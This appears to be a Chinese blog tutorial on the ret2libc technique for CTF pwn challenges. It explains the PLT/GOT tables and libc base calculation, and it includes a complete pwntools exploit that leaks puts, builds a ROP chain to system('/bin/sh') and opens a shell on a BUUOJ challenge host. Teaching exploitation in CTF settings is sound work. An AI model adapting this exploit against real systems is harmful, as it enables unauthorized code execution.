ret2libc

文章发布时间:

最后更新时间:

文章总字数:
2.5k

预计阅读时间:
9 分钟

前置知识了解

随着我们做题的深入,我们会发现有些题目并不会给予我们后门函数,并且也没有ret2shellcode可以供我们存放shellcode的bss段变量

那么我们还有办法自己构建一个后门函数吗

不知道还记不记得在最开始的栈溢出那一题,我们提到了plt表和got表

在当时,为了照顾新手入坑pwn的感受,我们只是粗略的得出plt调用函数,got存真实地址的服务于做题的结论

现在,让我们解释一下这个结论的原因

我们先前已经讲过,got表的作用是因为动态链接的存在,为了使应用程序方便的获取libc中的真实地址

并且只有当程序运行和函数调用过后,got表中保存的才会是该函数的libc的绝对地址

而plt表虽然引用的也是got表中的真实地址,但是注意这里并不是说明got表能够调用这个函数

plt表之所以能够调用函数,而got不行的关键原因是因为plt表还起到了把控制(程序执行流)转移到对应的函数

当然上述的解释并不详细,许多原理性的问题没有讲到,如果将来想要死磕pwn的同学,建议花时间去专研透底层逻辑的问题(当然现在没有必要)

所以我们是不是可以得出一条逻辑链,当程序没有给予我们现成的后门函数的时候,我们可以通过system的plt表来调用system函数

但是说的容易做起来难,我们如何获得system函数的plt表地址呢?

这里我们只需要记住一个公式 真实地址 = 基址 + 偏移

即我们通过puts等函数泄露出来的函数地址是真实地址,我们可以通过计算偏移来求出libc基址

然后依据libc基址和偏移量得出其他函数的真实地址,从而随意调用

但是如果我们不了解libc版本,即题目附件并为给出呢

这里还需要了解一下libc中函数地址偏移的概念

如果开启了pie保护机制,函数的地址将在每次运行时发生变化

但是其后三位由于虚拟地址页的映射机制,将不会发生变化(前提是在同一个libc版本中)

因此,如果题目没有给予我们libc文件的话,我们可以通过函数的后三位来推演出libc版本,从而求得libc基址

wp演示

a

先看一下保护机制,但是看不出什么苗头

拖到ida里面看看

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
puts("Glad to meet you again!What u bring to me this time?");
fgets(s, 96, stdin);
puts("Ok.See you!");
return 0;
}

有一个fgets输入任意字节的数据可以用来栈溢出,但是看了下函数列表,好像没有后门函数可以供我们返回

并且程序也没有提供给我们可以用来泄露函数地址的puts等

没办法了,我们只能连同puts函数泄露其真实地址一起构造

看到这里是不是仍然不太明白,看看exp的构造就知道了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1 from pwn import*   
2 io = remote("node4.buuoj.cn",28548)
3 elf = ELF("./pwn")
4 libc = ELF("./libc-2.31.so")
5 io.recvuntil("Glad to meet you again!What u bring to me this time?")
6 puts_got = elf.got['puts']
7 main_addr = elf.symbols['main']
8 rdi_addr = 0x400753
9 ret_addr = 0x40050e
10 puts_got = elf.got['puts']
11 puts_plt = elf.plt['puts']
12 payload = cyclic(40)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
13 io.sendline(payload)
14 io.recvuntil("Ok.See you!")
15 puts_addr = u64(io.recvuntil("\nGlad to meet you again!What u bring to me this time?\n",drop = True).ljust(8,b'\x00'))
16 libc_addr = puts_addr - libc.symbols['puts']
17 system_addr = libc_addr + libc.symbols['system']
18 binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))
19 payload = cyclic(40)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
20 io.sendline(payload)
21 io.recvuntil("Ok.See you!")
22 io.interactive()

第四行这里,我们之所以要装载题目附件所给我们的libc-2.31.so文件

是因为我们需要获取该libc版本的各函数相较于基址的偏移

同理,这里还有两种办法可以获取(实际上还有三种,但是最后一种我还不会用[截止到文章发布,如果后续学会了将会补上])

获取libc版本偏移-第一种办法

b

在该网站 我们可以通过输入对应函数的后3位数值来检索对应的libc版本(比如图中检索到了3个版本,通常是都得试试的)

libc database search (blukat.me)

获取libc版本偏移-第二种办法

libcsearch这个工具也能获取偏移

由于网上对于这个工具的安装和使用不计其数

这里我只负责介绍这个工具,安装过程如果出现问题可以看看这个博客(3条消息) LibcSearcher的安装使用_Catch_1t_AlunX的博客-CSDN博客

说回到exp,我们继续往下看,截止到12行的第一个payload都是一些前置的要点获取

cyclic生成40个字节的垃圾数据这个没有任何难度理解

rdi寄存器传参这条之前也解释过了,puts_got显然就是将puts函数的真实地址传给rdi

接下来的puts_plt便是调用puts函数,输出puts函数的真实地址

接着为什么要返回到main函数?因为我们还需要接收puts的真实地址,并且我们只能输入96个字节的数据,如果一次性构造payload过长则无法成功

第三个疑点来到了15行,有很多我们没有见过的语法?

u64,[-6:],ljust?这些都是什么东西,一个一个讲

u64/u32

不知道你还记不记得我们之前讲过的bite型,他起到了数据的传输和存储的作用

你是不是一直有个疑问,为什么我们要用到p64和p32

实际上p是将括号内的数据打包成二进制字节数据流(可以理解为bite型)

而如果我们要想接收,并且转化为我们能看懂的数据类型,就需要用到u

为了方便理解,我们看一下如果没有u64,我们得到的数据会是什么样子c

其作用就是决定recv从倒数第n个字节开始读取

但是为什么这里是6呢?我们试试4,5,7这些数字会导致什么结果d

这里不知道你发现没有,一个字节对应着两个字符(之前提过了,这里小复习一下)

并且由于小端序,所以我们从倒数第几个字节开始接收,影响着我们得到的真实地址的后三位

拜托,这可是致命的错误,后三位错了我们还怎么获得偏移

通常,函数的真实地址虽然是8字节(64位),但是由于其头两个字节的数据恒为00 00

所以我们只需要从倒数第六字节开始读取(反而言之,就是你要从倒8处读也行)

欸 你说 我偏不要呢 我就不要[-6:]你来帮我限制读入的字节数量

反正我就8字节的地址呗

如果你尝试了以后就会报错,为什么?

因为我们不单单只读入了函数的真实地址,数据传输以及内存地址分配是一个复杂的过程

而我们将其改为100试试,仍然可以正常读入数据

但是你会发现在地址结尾处多出来了个0a,实际上他是换行符,这个换行符是哪里来的?

仔细观察14行 我们在接收的时候,并未一起接收换行符

这一点说明了什么?修改为100后都能读取倒上一个字符串的数据了,那我们刚刚不还说在函数地址上面,还有很多其他数据呢?

这里就可以介绍介绍ljust了

ljust

他的作用就是限制我们读入的字节总数,如果不够的话则以我们设定好的字符填充

所以我们哪怕[-n:]中的n取到了100也仍然不会报错

说回exp 在第一个payload输送完以后,我们成功获得函数的真实地址

接着就是计算偏移然后求得其他函数以及binsh字符串的地址

还是老办法构造payload,并且这里还需要一个ret来栈对齐

补充:

一点小补充吧 相信会有人和我有一样的疑问,在刚接触到ret2libc的时候

既然我们都将got表中的puts函数真实地址作为参数存储在了rdi寄存器中输送再接收

而且获取真实地址的方法只需要一个elf.got就行了

为什么我们不能直接拿这个地址来进行计算基址呢?

很简单,我们debug看一下,如果我们直接使用got表中的真实地址,他是一个什么东西

e

我们再看一下 通过我们上文的办法得到的真实地址长什么样子

f

可以看到明显不一样

这是因为got表中保存的值是需要运行过后才会为真实地址,所以我们需要将其打印出来再接收(这里我也有点不太理解,埋个坑,日后填)